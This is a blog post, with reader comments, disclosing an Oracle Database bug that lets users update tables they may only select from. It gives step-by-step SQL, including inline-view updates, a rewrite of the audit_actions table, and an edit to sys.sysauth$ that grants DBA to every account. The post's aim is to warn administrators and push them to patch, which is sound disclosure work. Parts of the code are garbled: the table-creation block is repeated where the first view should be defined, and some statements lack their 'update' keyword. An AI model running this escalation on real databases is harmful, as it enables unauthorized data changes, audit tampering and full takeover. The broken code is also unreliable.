Bug DBA Oracle Security

Is your database secure? Are you sure? Are you *really* sure?

A friend and at the time co-worker at Kentor AB found this bug. He found the bug and had the tenacity to track down and prove that it was a bug and not just a flaw in the logging mechanism where this first was indicated to occur.

Today is the day when I can finally speak about a bug I asked for a peer review on over a year ago. I had to pull that blog post offline when it was clear that we had in deed found what I think is a monster bug. It was difficult to fix so while it was quiet online about the bug, Oracle was hard at work on fixing it. In fact it turned out to be two different bugs each plugged separately.

Before we get to the meat of the issue, have you applied the January 2014 CPU? No? OK, we’ll wait while you take care of that. Trust me, you want to have it installed. Back already? Good. Patching really doesn’t take too long. 🙂

I’ve spent a number of years trying to very diligently apply the correct grants for different users to make sure every user had just what they needed. It turns out it was a wasted effort. Had the users known about this bug, they could have circumvented their lack of access. Truth be told, I really have no idea if someone did. In fact the bug was such that it was abused in production at a large Oracle shop by mistake. This bug is present in all versions of the database (as far as we know) and it has been fixed with the latest CPU for 11g and 12c. If you run on an older version, you should upgrade now! Running older than 11 at this point probably means you’re not reading blogs about databases anyway.

So what exactly is the bug then? In short, you can update data in tables you only have select rights on. How can that be, you’ve tested that multiple times. True, the SQL has to be written in a pretty specific way to trigger the bug. In a database that is a base install or at least predates the january CPU, the following test case should prove the issue. You can use most of this to verify the problem, you will probably not want to test with privilege escalation in a production system though.

Let us first create some users for our test.

drop user usra cascade;
create user usra identified by usra default tablespace users;
alter user usra quota unlimited on users;
grant connect to usra;
grant create table to usra;

drop user usrb cascade;
create user usrb identified by usrb;
grant connect to usrb;
grant create view to usrb;

drop user usrc cascade;
create user usrc identified by usrc;
grant connect to usrc;
grant select any dictionary to usrc;

We create a user usra that can create tables, usrb that can create views and usrc that can only select from the dictionary. These users will allow us to test the different versions of this bug in a controlled fashion.

Lets set up a test table in the usra account.

create table t1 (col_a varchar2(10) not null);
insert into t1 (col_a) values ('Original');


grant select on t1 to usrb;

We now have a table with a single row that usrb can only read from, or so we would think. Let us first create a very basic view and try to update it.

create table t1 (col_a varchar2(10) not null);
insert into t1 (col_a) values ('Original');


grant select on t1 to usrb;

So that didn’t work. Or rather, the view was created but the update failed. That is how it should be, we have no update access on the table.

Lets now try to create a view on that view which we then update to see what happens if we add just a little bit of complexity to this.

drop view view2;
create view view2 as 
select * 
  from view1 
 where col_a in (select max(col_a) 
                   from view1 
                  group by col_a);
 update view2 set col_a = 'Whoops2';

This update suddenly works (before the above mentioned CPU). So our meticulously granted privileges are overridden by a view with a sub-select on the same view. Not good.

Could the sub-select be simplified? Does it need to select from the same view and is an aggregation needed to make this bug expose itself?

drop view view3;
create view view3 as select * from view1 where 1 in (select 1 from dual);
update view3 set col_a = 'Whoops3';

Apparently it could not be simplified enough to just do a sub-select from dual. On to other possible simplifications.

What if we just read a hard-coded value from the first row in the table, would that work?

drop view view4;
create view view4 as 
select * 
  from view1 
 where 1 in (select 1 
               from view1 
              where rownum = 1);
update view4 set col_a = 'Whoops4';

Yup, that is enough to break through the privileges.

How about just using a select without even having to have the right to create a view?

 (with x as (select * from usra.t1) select * from x) t1
 set col_a = 'Whops5';

Ouch. That too was possible. So all it takes is a select access on a table and we can update it. How do we stop someone from abusing this when not even a pure select with no right to create objects is enough? You see why we pulled the original blog-post? This was for a time something that would be very hard to defend your database against.

How about using it to update things in the data dictionary, yes that too is possible. Some things are available to any user such as audit_actions.

 (with x as (select * from audit_actions) select * from x) t1
 set name = 'Mathias was here';

This update also works. So auditing can be changed, probably not a good thing if you trust your audit_actions table.

How about escalating the privileges we have (or rather that anyone has). Yes, that is also possible with a bit of knowledge.

select * 
  from sys.sysauth$
 where grantee# = (select user_id 
                     from all_users 
                    where username = 'HR')
   and rownum = 1;

Here we steal a privilege held by the HR user, probably a privilege that will not be missed for a long time in most databases. With this we will make public a proper DBA user meaning that any account can do almost anything in the database.

 (with x as (select * 
               from sys.sysauth$ 
              where grantee# = 103 
                and privilege# = -264 
                and sequence# = 1551)
 select * from x) t1
 set grantee# = 1
    ,privilege# = 4;

Just like that we have given ourselves and everyone else DBA access. Now we can do whatever we want including covering our tracks in most databases.

So I ask again, are you really sure that your database is secure?

This is scary stuff and this only goes to show that even a mature product needs to be kept up with current patches. If you are not on a CPU from this year, PLEASE give it a high priority to make it happen today.

And PLEASE do not test this in production. If you do and your DBA catches you, he will lecture you forever if not reporting you up the chain of command. But please do spread the word that this issue exists and needs to be plugged ASAP.


  1. Pingback: Major Data Exploit Patched by January 2014′s CPU | It Was Like That When I Got Here

  2. Reblogged this on g10chy and commented:
    Scary stuff…Get patching NOW!!

  3. “In fact it turned out to be two different bugs each plugged separately.”

    Do you have both bug numbers?

    • I do not have the bug numbers. For security bugs Oracle hides the SR from view for anyone but the requestor’s company and the security team. So even very senior resources at Oracle assigned to work with the same client could not see them. Frpm these they create child SRs that are internal and even more hidden as only the security team and assigned developers can see those. The Original SR then becomes just a vehicle for communication with the person submitting it and the internal ones is where all the meat for troubleshooting, code fixing, and testing progress is tracked.

  4. http://jakub.wartak.pl/blog/?p=869 contains also reference to another one (w/o exploit though) regarding interal Oracle’s JRE.

  5. Mohammad Saghi

    hi i have installed oracle
    i think it’s last version!
    but this problem persists in this version too!!!!!!
    what can we do for preventing users from using this bug?

  6. This is quite scary !

  7. Looks like you can workaround if you start a read only transaction from an FGA policy attached to the table that audits for select, reference a function in the dbms_fga.add_policy audit_trail parameter and call : execute immediate ‘set transaction read only’; from it, this will stop the unauthorized update.

    • Only for a user that can only select, but if the user has to be able to update some tables then you cannot protect this way. Right? “Select only” user access is a pretty rare scenario.

  8. During my tests, both (EE) and (EE) on Windows did not allow the updates of the datadictionary:

    SQL> sho user
    USER is “USRC”
    SQL> update
    2 (with x as (select * from audit_actions) select * from x) t1
    3 set name = ‘Mathias was here’;
    (with x as (select * from audit_actions) select * from x) t1
    ERROR at line 2:
    ORA-01732: data manipulation operation not legal on this view

    Unfornately the user views (2 and 4) reacted as described in the article ;-(
    Did anybody experience different behavior between bundles and/or OS?

Leave a Comment

Your email address will not be published. Required fields are marked *